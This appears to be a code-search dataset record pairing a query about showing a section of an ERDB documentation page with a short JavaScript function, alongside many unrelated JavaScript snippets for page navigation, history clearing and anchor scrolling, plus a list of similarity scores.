true;\n\t\t\t\t}\n\t\t\t});\n\t\t\t//console.trace(revision.removed_section_titles);\n\t\t\t//console.trace(revision.added_section_titles);\n\n\t\t\t/** {Boolean}有增加或減少的 anchor */\n\t\t\tlet has_newer_data = false;\n\t\t\trevision.removed_section_titles.forEach(section_title => {\n\t\t\t\tif (check_and_set(section_title, 'disappear', revision)) {\n\t\t\t\t\thas_newer_data = true;\n\t\t\t\t}\n\t\t\t});\n\t\t\trevision.added_section_titles.forEach(section_title => {\n\t\t\t\tif (check_and_set(section_title, 'appear', revision)) {\n\t\t\t\t\t//has_newer_data = true;\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t// We need this filter\n\t\t\tObject.keys(revision.replaced_anchors).forEach(from_anchor => {\n\t\t\t\tif (!revision.removed_section_titles.includes(from_anchor)) {\n\t\t\t\t\t// 例如轉換前後都有此 anchor,可能是移動段落。\n\t\t\t\t\tdelete revision.replaced_anchors[from_anchor];\n\t\t\t\t}\n\t\t\t});\n\t\t\t//if (!CeL.is_empty_object(revision.replaced_anchors)) console.trace(revision.replaced_anchors);\n\n\t\t\tfunction check_rename_to(from, to) {\n\t\t\t\t// assert: section_title_history[from].disappear === revision && section_title_history[to].appear === revision\n\t\t\t\tif (!section_title_history[from].rename_to) {\n\t\t\t\t\t// from → to\n\t\t\t\t\tset_rename_to(from, to);\n\t\t\t\t} else if (to !== section_title_history[from].rename_to) {\n\t\t\t\t\t// 這個時間點之後,`from` 有再次出現並且重新命名過。\n\t\t\t\t\tCeL.warn(`${JSON.stringify('#' + from)} is renamed to ${JSON.stringify('#' + section_title_history[from].rename_to)} in newer revision, but also renamed to ${JSON.stringify('#' + to)} in older revision`);\n\t\t\t\t\t// TODO: ignore reverted edit\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// 檢查變更紀錄可以找出變更章節名稱的情況。一增一減時,才當作是改變章節名稱。\n\t\t\t// TODO: 整次編輯幅度不大,且一增一減時,才當作是改變章節名稱。\n\t\t\tif (!has_newer_data && revision.removed_section_titles.length === 1 && revision.added_section_titles.length === 1) {\n\t\t\t\tconst from_page_title = revision.removed_section_titles[0], to_page_title = revision.added_section_titles[0];\n\t\t\t\t//assert: Object.keys(revision.replaced_anchors).length === 1\n\t\t\t\tif (!revision.replaced_anchors[from_page_title] || wiki.normalize_title(revision.replaced_anchors[from_page_title]) === to_page_title) {\n\t\t\t\t\t// or: revision.removed_section_titles.remove(from_page_title); revision.added_section_titles.remove(to_page_title);\n\t\t\t\t\t//delete revision.removed_section_titles;\n\t\t\t\t\t//delete revision.added_section_titles;\n\t\t\t\t\tcheck_rename_to(from_page_title, to_page_title);\n\t\t\t\t\tif (CeL.is_empty_object(revision.replaced_anchors))\n\t\t\t\t\t\tdelete revision.replaced_anchors;\n\t\t\t\t} else if (revision.replaced_anchors[from_page_title]) {\n\t\t\t\t\tCeL.warn(`一對一網頁錨點有疑義: ${from_page_title}→${to_page_title}, replaced_anchors to ${revision.replaced_anchors[from_page_title]}`);\n\t\t\t\t\tdelete revision.replaced_anchors;\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\t// https://ja.wikipedia.org/w/index.php?title=%E7%99%BD%E7%9F%B3%E7%BE%8E%E5%B8%86&diff=prev&oldid=84287198\n\t\t\t\t// TODO: assert: get_edit_distance_score('警視庁捜査一課9係 season11','警視庁捜査一課9係 season11(2006年)') < get_edit_distance_score('警視庁捜査一課9係 season11','警視庁捜査一課9係 season1(2016年)')\n\t\t\t\tfunction get_edit_distance_score(from, to) {\n\t\t\t\t\tconst length = Math.min(from.length, to.length);\n\t\t\t\t\t// 不可使之通過: CeL.edit_distance('植松竜司郎','小田切敏郎'); CeL.edit_distance('赤井家・羽田家','赤井秀一');\n\t\t\t\t\tconst edit_distance_score = 2 * (CeL.edit_distance(from, to)\n\t\t\t\t\t\t//+ length - CeL.longest_common_starting_length([from, to])\n\t\t\t\t\t\t// 微調\n\t\t\t\t\t\t- (from.length > to.length ? from.includes(to) : to.includes(from) ? 1 : 0)\n\n\t\t\t\t\t\t// 還可以嘗試若標題一對一對應,則相對應的標題微調減分。\n\t\t\t\t\t) / length;\n\t\t\t\t\treturn edit_distance_score;\n\t\t\t\t}\n\n\t\t\t\t// edit_distance_lsit = [ [ edit_distance_score, from, to ], [ edit_distance_score, from, to ], ... ]\n\t\t\t\tconst edit_distance_lsit = [];\n\t\t\t\t// 找出變更低於限度的,全部填入 edit_distance_lsit。\n\t\t\t\trevision.removed_section_titles.forEach(from => {\n\t\t\t\t\trevision.added_section_titles.forEach(to => {\n\t\t\t\t\t\tconst edit_distance_score = get_edit_distance_score(from, to);\n\t\t\t\t\t\tif (edit_distance_score < 1) {\n\t\t\t\t\t\t\tedit_distance_lsit.push([edit_distance_score, from, to]);\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t\t// 升序序列排序: 小→大\n\t\t\t\tedit_distance_lsit.sort((_1, _2) => _1[0] - _2[0]);\n\t\t\t\t//if (edit_distance_lsit.length > 0) console.trace(edit_distance_lsit);\n\n\t\t\t\t// modify_hash[from] = to\n\t\t\t\tconst modify_hash = Object.create(null);\n\t\t\t\tedit_distance_lsit.forEach(item => {\n\t\t\t\t\tconst [/*edit_distance_score*/, from, to] = item;\n\t\t\t\t\t// 測試 from 是否已經有更匹配的 to。\n\t\t\t\t\tif (modify_hash[from]) return;\n\t\t\t\t\tmodify_hash[from] = to;\n\t\t\t\t\tif (!revision.replaced_anchors[from] || wiki.normalize_title(revision.replaced_anchors[from]) === to) {\n\t\t\t\t\t\t//revision.removed_section_titles.remove(from);\n\t\t\t\t\t\t//revision.added_section_titles.remove(to);\n\t\t\t\t\t\tcheck_rename_to(from, to);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// assert: !!revision.replaced_anchors[from] === true\n\t\t\t\t\t\tCeL.warn(`多對多有疑義: ${from}→${to}, replaced_anchors to ${revision.replaced_anchors[from]}`);\n\t\t\t\t\t\tdelete revision.replaced_anchors[from];\n\t\t\t\t\t}\n\t\t\t\t});\n\n\t\t\t\tif (CeL.is_empty_object(revision.replaced_anchors)) {\n\t\t\t\t\tdelete revision.replaced_anchors;\n\t\t\t\t} else {\n\t\t\t\t\t//console.trace(revision.replaced_anchors);\n\t\t\t\t\tObject.keys(revision.replaced_anchors).forEach(from_anchor => {\n\t\t\t\t\t\tcheck_rename_to(from_anchor, revision.replaced_anchors[from_anchor]);\n\t\t\t\t\t});\n\t\t\t\t}\n\n\t\t\t\tif (false) {\n\t\t\t\t\tif (revision.removed_section_titles.length === 0)\n\t\t\t\t\t\tdelete revision.removed_section_titles;\n\t\t\t\t\tif (revision.added_section_titles.length === 0)\n\t\t\t\t\t\tdelete revision.added_section_titles;\n\t\t\t\t}\n\t\t\t}\n\n\t\t},\n\t\tsearch_diff: true,\n\t\trvlimit: 'max',\n\t});\n\n\t//console.trace(section_title_history)\n\tsection_title_history[KEY_got_full_revisions] = true;\n\treturn section_title_history;\n}", "function resetInfo() {\n var info = SpreadsheetApp.getActive().getSheetByName('More Info');\n info.getRange('A1:C1000').clearContent(); // cleans page for next time user asks about another item/if info changes\n \n // make enter form the active page\n // problem: deletes info that was on page but maybe you want to keep that (is it worth making a separate function?)\n reset();\n}", "function resetToLibraryIndexPage () {\n //console.log(\"Sending back to Library Index Page...\");\n $location.path(\"/library\");\n }", "resetHistory() {\n this.autoList.removeAll();\n var history = JSON.parse(localStorage.getItem('searchHistory'));\n if (history) {\n for (var i = 0; i < history.length; i++) {\n this.addBack(history[i]);\n }\n }\n }", "goToSection(newIndex) {\n\t\tif (this.activeIndex === newIndex) return;\n\n\t\tthis.blockEvents();\n\t\tthis.updateClasses(this.activeIndex, newIndex);\n\t\tthis.updateExternalComponents(this.activeIndex, newIndex);\n\t\tthis.activeIndex = newIndex;\n\t}", "function gotoTop() {\n $anchorScroll('add-new-student-button');\n }", "function switchTo(element) {\n $location.url(\"/\");\n var previousValue = $location.hash();\n $location.hash(element);\n $anchorScroll();\n // Reset to the old one\n $location.hash(previousValue);\n }", "reset() {\r\n this._state = this._config.initial;\r\n this._history.push(this._state);\r\n }", "previousSection() {\n const sections = this.sections;\n const shouldLoopNavigation = this.getLoopNavigationAttribute(this.activeRegion);\n if (\n this.modalIsOpen ||\n this.popupIsOpen ||\n !sections ||\n !sections.length ||\n (!shouldLoopNavigation && this.activeSectionIndex === 0)\n ) {\n return;\n }\n let newSection;\n if (this.activeSection && this.activeSectionIndex > 0) {\n newSection = sections[this.activeSectionIndex - 1];\n } else if (this.activeSection && this.activeSectionIndex === 0) {\n newSection = sections[sections.length - 1];\n } else {\n newSection = sections[0];\n }\n this.setActiveSection(newSection);\n this.setCurrentFocus();\n this.resetNavigation = true;\n }", "function goBackToStart() {\n location.reload();\n}", "backward() {\n this.removeWidgets(this.currentStep);\n this.showWidgets(--this.currentStep);\n\n if (this.updateLocationHash && this.totalSteps > 1) {\n const h = assetman.parseLocation().hash;\n h['__form_step'] = this.currentStep;\n window.location.hash = $.param(h);\n }\n\n $.scrollTo(this.em, 250);\n }", "function goToHomePage(){\n clearques();\n self.location=\"index.html\";\n}", "function remove_id_name(){\n var hash = location.hash.replace('#','');\n if(hash != ''){\n localStorage.setItem(\"scroll\", window.pageYOffset);\n location.hash = '';\n }\n $(window).bind('hashchange',function(event){\n var hash = location.hash.replace('#','');\n if(hash == '') {\n window.scrollTo(0, parseInt(localStorage.getItem(\"scroll\")));\n localStorage.removeItem(\"scroll\");}\n });\n }", "clear() {\n this.history = [];\n this.acceptIndex = 0;\n }", "clearHistory () {\n this.store.updateState({\n [HISTORY_STORE_KEY]: {},\n })\n }", "clearHistory () {\n this.store.updateState({\n [HISTORY_STORE_KEY]: {},\n })\n }", "function clearHistory(e) {\n e.preventDefault();\n searchHistory = [];\n localStorage.removeItem(\"cityname\");\n document.location.reload();\n\n}", "reset() {\r\n this.historyStates.push(this.currentState);\r\n this.currentState = this.historyStates[0];\r\n }", "function scrollTo( url ) {\n var hash = url.slice( url.lastIndexOf('#'), url.length );\n var $bookmark = $(hash);\n \n // if you're already at that URL just scroll to that position\n if( router.activeInstruction().params[0] == hash ) {\n $(\"body,html,document\").animate({ scrollTop: $bookmark.offset().top-65 });\n }\n // else add the url to the history and then scroll to that section (this is useful for a refresh since it will load on refresh, but won't cause a page reload)\n else {\n router.navigate( url, { replace: true, trigger: false } );\n $(\"body,html,document\").animate({ scrollTop: $bookmark.offset().top-65 });\n }\n }", "static addSection(p) {\n if (! p || ! (p.type || p.section)) {\n return;\n }\n\n if (p.index === undefined || p.index < 0 || p.index > this._sections.length) {\n return;\n }\n\n var newSectionJSON = p.section || {\n type: p.type\n };\n\n var newSection = app.ui.SectionFactory.createInstance(newSectionJSON);\n\n this._sections.splice(p.index + 1, 0, newSection);\n this._container.find('.section').eq(p.index).after(newSection.render());\n newSection.postCreate(this._container.find('.section').eq(p.index + 1));\n\n if (p.navigation !== false) {\n window.requestAnimationFrame(function() {\n this.navigateToSection({\n index: p.index + 1,\n animate: true,\n animateSpeed: p.animateSpeed\n });\n\n newSection.focus();\n }.bind(this));\n }\n\n if (p.ensureFullyVisible) {\n this._ensureSectionFullyVisible(newSection);\n }\n\n //\n // Undo\n //\n\n /*\n if (! p.section) {\n var undoNotification = new UndoNotification({\n container: this._container.find('.section').eq(p.index + 1),\n label: 'You created a section' // TODO\n });\n\n undoNotification.display().then(\n function() {\n this.deleteSection({\n index: p.index + 1\n });\n\n this.storyUndo();\n }.bind(this),\n function() {\n //\n }\n );\n }\n */\n\n topic.publish('builder-section-update');\n }", "function reset(){\n currentrestaurant = 0;\n fullList = [];\n shortList = [];\n display(false, 'section2');\n display(false, 'section3');\n display(false, 'section4');\n display(false, 'section5');\n document.getElementById('location').value = \"\";\n document.getElementById(\"next\").disabled = false;\n pageScroll('section1');\n}", "function goTo(e, section){\n if (!jumpingToSection){\n\n // animateNav(e);\n\n switch (section){\n case 'home':\n jumpToSection(0,0);\n toggleContent('#front');\n setColors(['#4286f4', '#1b4b99', 'rgba(27, 75, 153,0.85)' ]);\n break;\n case 'about':\n jumpToSection(180,0);\n toggleContent('#back');\n setColors(['#f48c41', '#a55113', 'rgba(165, 81, 19,0.85)' ]);\n\n break;\n case 'skills':\n jumpToSection(90,0);\n toggleContent('#left');\n setColors(['#a054f7', '#6929b2', 'rgba(105, 41, 178,0.85)' ]);\n\n break;\n case 'projets':\n jumpToSection( -90,0);\n toggleContent('#right');\n setColors(['#8ee24d', '#549125', 'rgba(84, 145, 37,0.85)' ]);\n break;\n case 'experience':\n jumpToSection(0,-90);\n toggleContent('#top');\n setColors(['#e24852', '#a02028', 'rgba(160, 32, 40,0.85)' ]);\n break;\n case 'misc':\n jumpToSection(0,90);\n toggleContent('#bottom');\n setColors(['#f2d848', '#96841e', 'rgba(150, 132, 30,0.85)' ]);\n break;\n }\n }\n}", "function setHashWithoutScrolling(newHash) {\r\n\tvar selectedRange;\r\n\tif (GW.isFirefox)\r\n\t\tselectedRange = window.getSelection().getRangeAt(0);\r\n\r\n\tlet scrollPositionBeforeNavigate = window.scrollY;\r\n\tlocation.hash = newHash;\r\n\trequestAnimationFrame(() => {\r\n\t\twindow.scrollTo(0, scrollPositionBeforeNavigate);\r\n\t});\r\n\r\n\tif (GW.isFirefox)\r\n\t\twindow.getSelection().addRange(selectedRange);\r\n}", "function refreshHash() {\n navbox.find('a[href=\"'+window.location.hash+'\"]').tab('show');\n }", "function reset() {\n // noop\n location.reload();\n }", "function JumpToChapter(c,frame) {\n\tLoadSection(c * 100 + chapterStartSectionOffset);\n\t// PW: Note that chapterStartSectionOffset is defined above and may be overridden by config.js\n}", "function onGoBack() {\n setFormDataEdit(null);\n setStep('Menu');\n }", "reset() {\n this.home();\n this.clean();\n this.begin();\n }", "function resetHistory() {\n // TODO: clean out localStorage\n ExCommandHistory.resetHistory();\n }", "jumpToBeginning() {\n this.simulateKeyPress_(SAConstants.KeyCode.HOME, {ctrl: true});\n }", "function moveBack() {\n if (currentPage == 1) return;\n loadTaskList(--currentPage);\n}", "function History_History()\n{\n\t//call reset\n\tthis.Reset();\n}", "quit() {\n let { history } = this.props;\n history.push({\n pathname: '/quizzes',\n hash: this.state.student_hash,\n });\n }", "changeSection(sectionId) {\n this.section = sectionId;\n this.resetValues();\n }", "function prevSection() {\n var nav = (d.getElementById('l-front').classList.contains('is-visible')) ? navigatorFront : navigatorBack,\n fromSection = d.querySelector('[data-page=\"' + nav.active() + '\"]');\n\n // Pasar a otro evento\n if (this.classList.contains('is-up')) {\n goIndex();\n return;\n }\n\n var to = nav.prev(),\n toSection = d.querySelector('[data-page=\"' + to + '\"]');\n\n var navigator = app.parent(this, 'navigator')\n optActive = navigator.getElementsByClassName('is-active')[0],\n from = optActive.getAttribute('data-ref');\n\n var index = getIndex(fromSection.parentElement.querySelectorAll('.section'), toSection);\n fromSection.parentElement.style.left = (index * -100) + 'vw';\n \n window.location.href = window.location.pathname + \"#\" + toSection.getAttribute(\"data-page\");\n }", "function moveToLast() {\n loadTaskList(totalPages);\n}", "function deleteHistory(){\n setHistory([]);\n setOP(\"\");\n setFP(\"\");\n setD(\"\");\n console.log(history);\n }", "function scrollTO(section) {\n section.scrollIntoView();\n}", "resetStateHistory() {\n // Clears state history, returning it to an empty list.\n this._stateHistory.splice(0, this._stateHistory.length);\n }", "function hashChanged() {\n var url = \"#\" + (document.location.hash.slice(1) || \"\");\n history.push(url);\n trigger(\"GET\", url);\n }", "function jump() {\n document.body.scrollTop = 0; // For Safari\n document.documentElement.scrollTop = 0; // For Chrome, Firefox, IE and Opera\n}", "function ui_jumpTo(str_anchor){\n\tif ( (ui_trim(str_anchor) != \"\") ) {\n \twindow.location.href = '#' + str_anchor;\n\t}\n}", "function reset() {\n location.reload();\n}", "function reset() {\n location.reload();\n}", "function clearHistory(event){\n event.preventDefault();\n eCity=[];\n localStorage.removeItem(\"cityname\");\n document.location.reload();\n\n}", "function backt2() {\n var tabstate = JSON.parse(nsISessionStore.getTabState(tabs.getTab()));\n tabstate.index = Math.max(tabstate.index-1, 0);\n var newtabstate = JSON.stringify(tabstate);\n var newtab = gBrowser.addTab('');\n var newtab_pos = newtab._tPos;\n nsISessionStore.setTabState(tabs.getTab(newtab_pos), newtabstate);\n gBrowser.selectedTab = newtab;\n}", "reset() {\n localStorage.removeItem(\"workouts\");\n location.reload();\n }", "shift(url, addToHistory) {\n if (addToHistory) window.history.pushState(null, null, `/${this.clearSlashes(url)}`);\n else window.history.replaceState(null, null, `/${this.clearSlashes(url)}`);\n this.current = `${this.clearSlashes(url)}`;\n }", "function setSection() {\n\t$(\".main-nav a\").click(function(e){\n\t\te.preventDefault();\n\t\tvar sectionID = e.currentTarget.id + \"Section\";\n\n\t\t$(\"html, body\").animate({\n\t\t\tscrollTop: $(\"#\" + sectionID).offset().top +(-55)\n\t\t}, 1000)\n\t})\n}", "function goToPrevious() {\n var prevId = getPreviousLocationIndex();\n if (prevId != null) {\n setCurrentLocation(prevId);\n }\n }", "function pageChanged(newPage){\n\t\t$state.go(\"root.sectionList\" , {pageId:newPage});\n\t}", "function clearHistory() {\n localStorage.clear();\n $('#searchHistory').empty();\n}", "function goTo(href) {\n // Show a section with an id corresponding\n // to the link's href\n switchToSection(href);\n\n // Add the current \"state/page\" to our history\n history.pushState(null,null,href);\n}", "function deleteSection() {\n if (currentPage.content.sections.length >= sectionIndex + 1) {\n // Remove the section at the given index\n const newSections = currentPage.content.sections\n newSections.splice(sectionIndex, 1)\n\n const patchDetails = { content: { sections: newSections } }\n\n editPage({ pageId, patchDetails })\n\n // Show a notification that the section has been deleted from the page\n const key = enqueueSnackbar(\n intl.formatMessage({ id: 'deletedSectionFromPage' }, { pageTitle: currentPage.title }),\n {\n variant: 'error',\n persist: true\n }\n )\n\n setTimeout(() => {\n closeSnackbar(key)\n }, 2500)\n }\n\n setConfirmDelete(false)\n }", "function goToPreviousStep() {\n\tpreviousSteps();\n\tupdateStepsText();\n\tconsole.log(\"hey\");\n}", "reset() {\n localStorage.removeItem('workouts');\n location.reload();\n }", "function jump(hash) {\n var {href} = location;\n if (hash)\n location = href.replace(/#.*|$/, \"#\" + hash);\n else if (~href.indexOf(\"#\"))\n location = href;\n}" ]
[ "0.64990413", "0.59043765", "0.58917683", "0.5837123", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.5762752", "0.57351124", "0.57018834", "0.5644716", "0.56348026", "0.5619329", "0.56107444", "0.560721", "0.55883336", "0.5565773", "0.5512847", "0.5499159", "0.5487592", "0.54832643", "0.5481325", "0.5459222", "0.5458229", "0.54552126", "0.5448339", "0.5428525", "0.540906", "0.53992873", "0.53980815", "0.5385616", "0.53840125", "0.5379177", "0.5379177", "0.53733397", "0.5363651", "0.53467655", "0.53391194", "0.53243583", "0.5320263", "0.5320157", "0.52865404", "0.5279165", "0.5273516", "0.5267038", "0.525536", "0.5238331", "0.5237774", "0.52318525", "0.52205956", "0.5218209", "0.52048874", "0.51845783", "0.51786834", "0.51439655", "0.5138889", "0.5138081", "0.5135008", "0.5126032", "0.51147616", "0.50931287", "0.50931287", "0.5082469", "0.50806624", "0.5079176", "0.5075164", "0.50728613", "0.5064275", "0.50574934", "0.50539625", "0.5051441", "0.5050627", "0.5039081", "0.50373745", "0.50342226" ]
0.0
-1
Display a specific section in an ERDB documentation page.
function ShowBlock(statusThing, objectName) { // Remember that we're displaying the specified page. statusThing.blockNow = objectName; // Display the page. statusThing.Display(objectName); // Update the select box. var selectBox = document.getElementById(statusThing.selectBox); selectBox.value = objectName; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function showSection(section){\n\t$.secId.setText(section.get(\"SECTION\"));\n\t$.secType.setText(section.get(\"TYPE\"));\n}", "function goToDocSec(aDocName, aDocSection) {\n\n updateDocContents(aDocs.find(aDoc => aDoc.name === aDocName));\n // TODO > scroll to section\n}", "function Section_Description() {\n}", "function section(title) {\n console.log(\"================================================================\");\n console.log(title);\n console.log(\"================================================================\");\n}", "function showcase(section) {\n var sectionShowcase = section.target.innerHTML;\n outputEl.innerHTML = 'You clicked on the ' + sectionShowcase + ' section!'\n}", "function showSection(section) {\n\n startPage.css({\n 'display': 'none'\n });\n\n questionPage.css({\n 'display': 'none'\n });\n\n answerPage.css({\n 'display': 'none'\n });\n\n resultsPage.css({\n 'display': 'none'\n });\n\n\n\n if (section) {\n\n section.css({\n 'display': 'block'\n });\n\n }\n\n}", "function FreeTextDocumentationView() {\r\n}", "function showSection(value, isEdit){\n hideSections();\n let valueForHighlight = value == \"editAffiliateForm\" ? \"checkAffiliate\" : value;\n atmWindow.document.getElementById(valueForHighlight).style.backgroundColor = 'yellowgreen';\n switch(value){\n case \"addTopic\":\n atmWindow.document.getElementById(\"addTopicForm\").style.display = \"block\";\n break;\n case \"addAffiliate\":\n atmWindow.document.getElementById(\"addAffiliateForm\").style.display = \"block\";\n let menuTitle = isEdit ? \"Edit Person\" : \"Add a Person\";\n let addButtonView = isEdit ? \"none\" : \"block\";\n let editButtonView = isEdit ? \"block\" : \"none\";\n atmWindow.document.getElementById(\"addAffiliate\").innerHTML = menuTitle ;\n atmWindow.document.getElementById(\"addNewAffiliate\").style.display = addButtonView;\n atmWindow.document.getElementById(\"editOldAffiliate\").style.display = editButtonView;\n break;\n case \"checkAffiliate\":\n atmWindow.document.getElementById(\"checkAffiliateForm\").style.display = \"block\";\n break;\n case \"editAffiliate\":\n atmWindow.document.getElementById(\"editAffiliateForm\").style.display = \"block\";\n break;\n case \"helpAndTips\":\n atmWindow.document.getElementById(\"helpAndTipsSection\").style.display = \"block\";\n break;\n default:\n hideSections();\n }\n }", "function showSection(section) {\n\tstartPage.css({'display' : 'none'});\n\tquestionPage.css({'display' : 'none'});\n\tanswerPage.css({'display' : 'none'});\n\tresultsPage.css({'display' : 'none'});\n\n\tif (section) {\n\t\tsection.css({'display' : 'block'});\n\t}\n}", "gotoSection(n_item) {\n const view = this.app.workspace.activeLeaf.view;\n if (view instanceof obsidian.MarkdownView) {\n const cm = view.sourceMode.cmEditor;\n let cursorHead = cm.getCursor();\n let line_base = cursorHead.line;\n let line_limit;\n if (n_item > 0) {\n line_limit = cm.lastLine();\n }\n else {\n line_limit = cm.firstLine();\n }\n let result = false;\n let var_token;\n while (this.gotoCheckLimit(cursorHead.line, n_item, line_limit) && !result) {\n cursorHead.line += n_item;\n var_token = cm.getTokenTypeAt(cursorHead);\n if (var_token !== undefined && var_token !== null) {\n if (var_token.includes('header')) {\n result = true;\n }\n }\n }\n if (result) {\n cm.setCursor(cursorHead);\n this.flashLine();\n }\n else {\n cursorHead.line = line_base;\n this.errorLine();\n }\n }\n }", "function action_help_texts(section) {\n\t$('div.step1details div.tips').hide();\n\tvar open_section = $('div#sideinfo-'+ section);\n\topen_section.show();\n}", "function PageDocumentation() {\n\tComponentBase.call(this);\n}", "function section(name) {\n var el, entries = self.getEntries();\n\n switch (name) {\n case 'document':\n return this.template('2.16.840.1.113883.10.20.22.1.15');\n case 'demographics':\n return this.template('2.16.840.1.113883.10.20.22.1.15');\n case 'health_concerns_document':\n el = this.template('2.16.840.1.113883.10.20.22.2.58');\n el.entries = entries;\n return el;\n case 'goals':\n el = this.template('2.16.840.1.113883.10.20.22.2.60');\n el.entries = entries;\n return el;\n case 'interventions':\n el = this.template('2.16.840.1.113883.10.20.21.2.3');\n el.entries = entries;\n return el;\n case 'health_status_outcomes':\n el = this.template('2.16.840.1.113883.10.20.22.2.61');\n el.entries = entries;\n return el;\n }\n\n return null;\n }", "function course_articles_page() {\n try {\n var content = {};\n content.welcome = {\n \tmarkup: '<p style=\"text-align: center;\">' +\n \tt('Select a course for more information') +\n \t'</p>'\n \t\t\t};\n content['course_list'] = {\n theme: 'view',\n format: 'unformatted_list',\n path: 'json-out/course', /* the path to the view in Drupal */\n row_callback: 'course_articles_list_row',\n empty_callback: 'course_articles_list_empty',\n attributes: {\n id: 'course_list_view'\n }\n };\n return content;\n }\n catch (error) { console.log('course_articles_page - ' + error); }\n}", "function showSection(sectionID, callback) {\n\n // get all sections\n let sectionElement = document.getElementById(sectionID);\n let appSections = document.getElementsByClassName(\"app-section\");\n\n // show the section passed as an arg\n sectionElement.style.display = \"block\";\n\n // hide all other sections\n for (let section of appSections) {\n if (section != sectionElement)\n section.style.display = \"none\";\n }\n\n // if a function was passed as a param, execute now\n if (typeof callback === 'function') callback();\n}", "function showSection(id) {\n let sections = document.getElementsByTagName('section');\n for (let i = 0; i < sections.length; i++) {\n sections[i].style.display = 'none';\n }\n\n document.getElementById(id).style.display = 'block';\n}", "function displayHelpPage() {\n // Set display to \"no category selected\".\n pageCollection.setCategory('noCat');\n // Display the default page.\n pageCollection.setPage('helpPage');\n}", "function showDocs(doc, cmd) {\n var $info = $('#info');\n if (doc) {\n $info.find('.cmd').html('<span>' + cmd + '</span>');\n $info.find('.doc').html(doc);\n $info.slideDown()\n } else {\n $info.hide()\n }\n}", "function showSection(section) {\n 'use strict';\n if (currentSection) {\n $('#' + currentSection).hide();\n }\n \n currentSection = section;\n\n $('#' + section).show();\n}", "function Section(section) {\n return `\n <li class=\"pb-1 lh0\">\n <a\n class=\"fw-book c-p20 c-h0 c-a0 section-link\"\n href=\"${slug(section)}\"\n id=\"nav-section\"\n >\n ${section}\n </a>\n </li>`\n }", "function goToSection(section) {\n WinJS.log && WinJS.log(\"You are viewing the \" + section + \" section.\", \"sample\", \"status\");\n }", "function displayGuide() {\n my.html.guide.innerHTML = my.current.unit.guide\n }", "function composeSection1()\n {\n\n\n // //\\\\ config\n var tconf =\n {\n compCol :\n {\n \"Equity\" : nheap.companyColors['orange_master'],\n \"Debt\" : nheap.companyColors['yellow'],\n \"Cash & Cash Equivalents\" : nheap.companyColors['green'],\n \"Real Estate\" : nheap.companyColors['blue_master'],\n }\n };\n // \\\\// config\n\n\n\n methods.addTOC( \"Portfolio Summary\", \"Overall Summary\" )\n addHeader( 'Portfolio Snapshot' );\n\n //============================== \n // //\\\\ master placeholder\n //==============================\n ddCont.push(\n fm.layt({\n margin : [ 0,15,0,0 ],\n widths : [ '50%', '50%' ],\n pads : { left:2, top:8, right:7, bottom:4 },\n borders :\n [\n [ [false, false, true, true ], [true, false, false, false] ],\n [ [false, true, true, false ], [true, true, false, false] ]\n ],\n cols : 2,\n rows : 2,\n bordCol : '#aaa',\n color: nheap.companyColors.blue_master,\n body :\n [\n [fm.section1LeftTop(), fm.section1RightTop( null, tconf )],\n [fm.section1LeftBottom(), fm.section1RightBottom( null, tconf )]\n ]\n }).tbl\n );\n ddCont[ ddCont.length - 1 ].pageBreak = 'after';\n //============================== \n // \\\\// master placeholder\n //==============================\n }", "function showSection ($sectionName) {\n hideAll()\n $('#' + $sectionName).show()\n }", "function updateDocContents(aDoc) {\n\n // Updates UI\n let html = Asciidoctor().convert(aDoc.contents);\n html = html\n .replaceAll('<div class=\"title\">Important</div>', '<div class=\"title\" style=\"color:red\">❗ IMPORTANTE</div>')\n .replaceAll('<div class=\"title\">Warning</div>', '<div class=\"title\" style=\"color:orange\">⚠️ ATENCIÓN</div>');\n document.getElementById('adoc-contents').innerHTML = html;\n\n // Updates UI for 'Índice' section\n if (aDoc.name === 'indice') {\n html = '';\n index.forEach(doc => {\n html += `<tr>\n <td>${doc.source}</td>\n <td><a href=\"#\" onclick=\"goToDocSec('${doc.id}', '')\" title=\"Ir a ejercicio\">${doc.number} - ${doc.title}</a></td>\n <td>${doc.units.join(', ')}</td>\n <td>${doc.topics.join(', ')}</td>\n </tr>`;\n });\n document.getElementById('tabla-ejercicios-body').innerHTML = html;\n }\n \n // Updates Latex rendering\n MathJax.typeset();\n}", "function showSection(sectionID) {\n\tdocument.getElementById('mainSection').style.display = \"none\";\n\tdocument.getElementById(sectionID).style.display = \"block\";\n}", "function onView(row){\n var record = row.row.getRecord();\n var tableName = record.getValue('docs_assigned.vf_table_name');\n var docName = record.getValue('docs_assigned.doc');\n var fieldName = \"doc\";\n var keys = {};\n var ds = View.dataSources.get('abEhsTrackDocumentation_ds');\n \n switch (tableName) {\n\tcase 'ehs_training_results':\n\t\tvar dateKey = ds.formatValue('docs_assigned.date_doc', record.getValue('docs_assigned.date_key'), false);\n\t keys = {\n \t\t'training_id': record.getValue('docs_assigned.training_id'),\n \t\t'em_id': record.getValue('docs_assigned.em_id'),\n \t\t'date_actual': dateKey\n\t };\n\t break;\n\n\tcase 'ehs_em_ppe_types':\n\t\tvar dateKey = ds.formatValue('docs_assigned.date_doc', record.getValue('docs_assigned.date_key'), false);\n\t keys = {\n \t\t'ppe_type_id': record.getValue('docs_assigned.ppe_type_id'),\n \t\t'em_id': record.getValue('docs_assigned.em_id'),\n \t\t'date_use': dateKey\n\t };\n\t break;\n\n\tcase 'ehs_incidents':\n\t\tfieldName = \"cause_doc\";\n\t\tkeys = {'incident_id': record.getValue('docs_assigned.incident_id')};\n\t break;\n\n\tcase 'ehs_incident_witness':\n\t\tkeys = {'incident_witness_id': record.getValue('docs_assigned.incident_witness_id')};\n\t break;\n\n\tcase 'ehs_restrictions':\n\t\tkeys = {'restriction_id': record.getValue('docs_assigned.restriction_id')};\n\t break;\n\n\tcase 'docs_assigned':\n\tdefault:\n\t keys = {'doc_id': record.getValue('docs_assigned.doc_id')};\n\t break;\n\t}\n \n \n 